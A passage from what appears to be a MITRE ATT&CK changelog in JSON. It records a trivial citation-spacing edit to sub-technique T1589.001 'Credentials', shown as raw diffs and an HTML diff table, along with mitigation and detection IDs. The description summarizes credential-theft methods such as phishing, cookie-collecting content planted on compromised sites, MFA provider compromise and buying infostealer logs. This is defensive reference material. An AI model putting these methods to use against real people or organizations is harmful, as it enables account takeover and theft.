nowrap=\"nowrap\">on:&nbsp;Rapid7)(Citation:&nbsp;GitHub)&nbsp;&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1027: Password Policies",
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0022: Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-02 14:55:43.815000+00:00",
                    "modified": "2026-11-04 01:08:46.127000+00:00",
                    "name": "Credentials",
                    "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "reconnaissance"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1589/001",
                            "external_id": "T1589.001"
                        },
                        {
                            "source_name": "Bleeping Computer 2easy 2021",
                            "description": "Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.",
                            "url": "https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/"
                        },
                        {
                            "source_name": "ATT ScanBox",
                            "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                            "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                        },
                        {
                            "source_name": "Detectify Slack Tokens",
                            "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
                            "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
                        },
                        {
                            "source_name": "GitHub truffleHog",
                            "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
                            "url": "https://github.com/dxa4481/truffleHog"
                        },
                        {
                            "source_name": "Bleeping Computer Stealer Logs 2023",
                            "description": "Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.",
                            "url": "https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/"
                        },
                        {
                            "source_name": "Register Uber",
                            "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
                            "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
                        },
                        {
                            "source_name": "GitHub Gitrob",
                            "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
                            "url": "https://github.com/michenriksen/gitrob"
                        },
                        {
                            "source_name": "CNET Leaks",
                            "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                            "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
                        },
                        {
                            "source_name": "Okta Scatter Swine 2022",
                            "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
                            "url": "https://sec.okta.com/scatterswine"
                        },
                        {
                            "source_name": "Forbes GitHub Creds",
                            "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
                            "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
                        },
                        {
                            "source_name": "SecureWorks Infostealers 2023",
                            "description": "SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.",
                            "url": "https://www.secureworks.com/research/the-growing-threat-from-infostealers"
                        },
                        {
                            "source_name": "Register Deloitte",
                            "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
                            "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Vinayak Wadhwa, Lucideus",
                        "Lee Christensen, SpecterOps",
                        "Toby Kohlenberg",
                        "Massimo Giaimo, W\u00fcrth Group Cyber Defence Center"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:08:46.127000+00:00\", \"old_value\": \"2025-10-24 17:49:18.246000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\\n\\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n\\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\\n\\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). \", \"old_value\": \"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\\n\\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n\\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\\n\\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\\n \\n-Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n+Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n \\n Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to58__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to58__0\"><a href=\"#difflib_chg_to58__top\">t</a></td><td class=\"diff_header\" id=\"from58_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;credentials&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;t</td><td class=\"diff_next\"><a href=\"#difflib_chg_to58__top\">t</a></td><td class=\"diff_header\" id=\"to58_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;credentials&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">argeting.&nbsp;Account&nbsp;credentials&nbsp;gathered&nbsp;by&nbsp;adversaries&nbsp;may&nbsp;be</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">argeting.&nbsp;Account&nbsp;credentials&nbsp;gathered&nbsp;by&nbsp;adversaries&nbsp;may&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;those&nbsp;directly&nbsp;associated&nbsp;with&nbsp;the&nbsp;target&nbsp;victim&nbsp;organizati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;those&nbsp;directly&nbsp;associated&nbsp;with&nbsp;the&nbsp;target&nbsp;victim&nbsp;organizati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;or&nbsp;attempt&nbsp;to&nbsp;take&nbsp;advantage&nbsp;of&nbsp;the&nbsp;tendency&nbsp;for&nbsp;users&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;or&nbsp;attempt&nbsp;to&nbsp;take&nbsp;advantage&nbsp;of&nbsp;the&nbsp;tendency&nbsp;for&nbsp;users&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;use&nbsp;the&nbsp;same&nbsp;passwords&nbsp;across&nbsp;personal&nbsp;and&nbsp;business&nbsp;account</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;use&nbsp;the&nbsp;same&nbsp;passwords&nbsp;across&nbsp;personal&nbsp;and&nbsp;business&nbsp;account</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;gather&nbsp;credentials&nbsp;from&nbsp;potential&nbsp;victim</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;gather&nbsp;credentials&nbsp;from&nbsp;potential&nbsp;victim</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;in&nbsp;various&nbsp;ways,&nbsp;such&nbsp;as&nbsp;direct&nbsp;elicitation&nbsp;via&nbsp;[Phishing&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;in&nbsp;various&nbsp;ways,&nbsp;such&nbsp;as&nbsp;direct&nbsp;elicitation&nbsp;via&nbsp;[Phishing&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;Information](https://attack.mitre.org/techniques/T1598).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;Information](https://attack.mitre.org/techniques/T1598).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;compromise&nbsp;sites&nbsp;then&nbsp;add&nbsp;malicious&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;compromise&nbsp;sites&nbsp;then&nbsp;add&nbsp;malicious&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntent&nbsp;designed&nbsp;to&nbsp;collect&nbsp;website&nbsp;authentication&nbsp;cookies&nbsp;fro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntent&nbsp;designed&nbsp;to&nbsp;collect&nbsp;website&nbsp;authentication&nbsp;cookies&nbsp;fro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;visitors.(Citation:&nbsp;ATT&nbsp;ScanBox)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Register&nbsp;Deloi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;visitors.(Citation:&nbsp;ATT&nbsp;ScanBox)(Citation:&nbsp;Register&nbsp;Deloit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tte)(Citation:&nbsp;Register&nbsp;Uber)(Citation:&nbsp;Detectify&nbsp;Slack&nbsp;Toke</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te)(Citation:&nbsp;Register&nbsp;Uber)(Citation:&nbsp;Detectify&nbsp;Slack&nbsp;Token</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns)(Citation:&nbsp;Forbes&nbsp;GitHub&nbsp;Creds)(Citation:&nbsp;GitHub&nbsp;truffleH</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s)(Citation:&nbsp;Forbes&nbsp;GitHub&nbsp;Creds)(Citation:&nbsp;GitHub&nbsp;truffleHo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">og)(Citation:&nbsp;GitHub&nbsp;Gitrob)(Citation:&nbsp;CNET&nbsp;Leaks)&nbsp;Where&nbsp;mul</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g)(Citation:&nbsp;GitHub&nbsp;Gitrob)(Citation:&nbsp;CNET&nbsp;Leaks)&nbsp;Where&nbsp;mult</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ti-factor&nbsp;authentication&nbsp;(MFA)&nbsp;based&nbsp;on&nbsp;out-of-band&nbsp;communic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">i-factor&nbsp;authentication&nbsp;(MFA)&nbsp;based&nbsp;on&nbsp;out-of-band&nbsp;communica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ations&nbsp;is&nbsp;in&nbsp;use,&nbsp;adversaries&nbsp;may&nbsp;compromise&nbsp;a&nbsp;service&nbsp;provi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;is&nbsp;in&nbsp;use,&nbsp;adversaries&nbsp;may&nbsp;compromise&nbsp;a&nbsp;service&nbsp;provid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;MFA&nbsp;codes&nbsp;and&nbsp;one-time&nbsp;passwords&nbsp;(OTP)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;MFA&nbsp;codes&nbsp;and&nbsp;one-time&nbsp;passwords&nbsp;(OTP).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Okta&nbsp;Scatter&nbsp;Swine&nbsp;2022)&nbsp;&nbsp;Credential&nbsp;information</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Okta&nbsp;Scatter&nbsp;Swine&nbsp;2022)&nbsp;&nbsp;Credential&nbsp;information&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;also&nbsp;be&nbsp;exposed&nbsp;to&nbsp;adversaries&nbsp;via&nbsp;leaks&nbsp;to&nbsp;online&nbsp;or&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;also&nbsp;be&nbsp;exposed&nbsp;to&nbsp;adversaries&nbsp;via&nbsp;leaks&nbsp;to&nbsp;online&nbsp;or&nbsp;ot</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ther&nbsp;accessible&nbsp;data&nbsp;sets&nbsp;(ex:&nbsp;[Search&nbsp;Engines](https://atta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">her&nbsp;accessible&nbsp;data&nbsp;sets&nbsp;(ex:&nbsp;[Search&nbsp;Engines](https://attac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1593/002),&nbsp;breach&nbsp;dumps,&nbsp;code&nbsp;repos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1593/002),&nbsp;breach&nbsp;dumps,&nbsp;code&nbsp;reposi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itories,&nbsp;etc.).&nbsp;Adversaries&nbsp;may&nbsp;purchase&nbsp;credentials&nbsp;from&nbsp;da</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tories,&nbsp;etc.).&nbsp;Adversaries&nbsp;may&nbsp;purchase&nbsp;credentials&nbsp;from&nbsp;dar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;web&nbsp;markets,&nbsp;such&nbsp;as&nbsp;Russian&nbsp;Market&nbsp;and&nbsp;2easy,&nbsp;or&nbsp;through</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;web&nbsp;markets,&nbsp;such&nbsp;as&nbsp;Russian&nbsp;Market&nbsp;and&nbsp;2easy,&nbsp;or&nbsp;through&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;Telegram&nbsp;channels&nbsp;that&nbsp;distribute&nbsp;logs&nbsp;from&nbsp;infos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">access&nbsp;to&nbsp;Telegram&nbsp;channels&nbsp;that&nbsp;distribute&nbsp;logs&nbsp;from&nbsp;infost</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tealer&nbsp;malware.(Citation:&nbsp;Bleeping&nbsp;Computer&nbsp;2easy&nbsp;2021)(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ealer&nbsp;malware.(Citation:&nbsp;Bleeping&nbsp;Computer&nbsp;2easy&nbsp;2021)(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;SecureWorks&nbsp;Infostealers&nbsp;2023)(Citation:&nbsp;Bleeping&nbsp;Comp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;SecureWorks&nbsp;Infostealers&nbsp;2023)(Citation:&nbsp;Bleeping&nbsp;Compu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uter&nbsp;Stealer&nbsp;Logs&nbsp;2023)&nbsp;&nbsp;Gathering&nbsp;this&nbsp;information&nbsp;may&nbsp;reve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ter&nbsp;Stealer&nbsp;Logs&nbsp;2023)&nbsp;&nbsp;Gathering&nbsp;this&nbsp;information&nbsp;may&nbsp;revea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;[Sea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;[Sear</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rch&nbsp;Open&nbsp;Websites/Domains](https://attack.mitre.org/techniqu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;Open&nbsp;Websites/Domains](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1593)&nbsp;or&nbsp;[Phishing&nbsp;for&nbsp;Information](https://attack.mitre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1593)&nbsp;or&nbsp;[Phishing&nbsp;for&nbsp;Information](https://attack.mitre.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1598)),&nbsp;establishing&nbsp;operational&nbsp;resources&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">org/techniques/T1598)),&nbsp;establishing&nbsp;operational&nbsp;resources&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(ex:&nbsp;[Compromise&nbsp;Accounts](https://attack.mitre.org/techniqu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ex:&nbsp;[Compromise&nbsp;Accounts](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[External&nbsp;Remote&nbsp;Serv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[External&nbsp;Remote&nbsp;Servi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ices](https://attack.mitre.org/techniques/T1133)&nbsp;or&nbsp;[Valid&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ces](https://attack.mitre.org/techniques/T1133)&nbsp;or&nbsp;[Valid&nbsp;Ac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccounts](https://attack.mitre.org/techniques/T1078)).&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">counts](https://attack.mitre.org/techniques/T1078)).&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0813: Detection of Credentials"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-02 14:57:15.906000+00:00",
                    "modified": "2026-11-03 19:28:50.415000+00:00",
                    "name": "Employee Names",
